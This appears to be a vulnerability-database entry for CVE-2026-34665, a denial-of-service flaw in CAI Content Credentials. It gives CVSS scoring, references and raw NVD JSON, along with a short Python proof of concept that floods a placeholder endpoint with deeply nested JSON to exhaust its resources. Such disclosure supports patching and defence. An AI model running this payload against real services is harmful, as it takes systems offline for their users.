CVE-2026-34665

Description

CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CAI Content Credentials <= 0.78.2

CAI Content Credentials <= 0.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# Conceptual PoC for CVE-2026-34665
# This script sends a payload designed to trigger resource exhaustion

target_url = "http://target-endpoint/api/verify"
# Construct a deeply nested JSON structure to consume parsing resources
malicious_data = {"a": 1}
for _ in range(10000):
    malicious_data = {"nested": malicious_data}

headers = {'Content-Type': 'application/json'}

try:
    print("[*] Sending malicious payload to trigger resource exhaustion...")
    response = requests.post(target_url, data=json.dumps(malicious_data), headers=headers, timeout=10)
    print(f"[!] Response status: {response.status_code}")
except requests.exceptions.Timeout:
    print("[+] Attack successful: Server timed out due to resource exhaustion.")
except Exception as e:
    print(f"[-] Request failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34665
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34665
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34665/
[4] VulDB https://vuldb.com/cve/CVE-2026-34665
[5] https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34665", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:37.013", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html", "source": "[email protected]"}]}}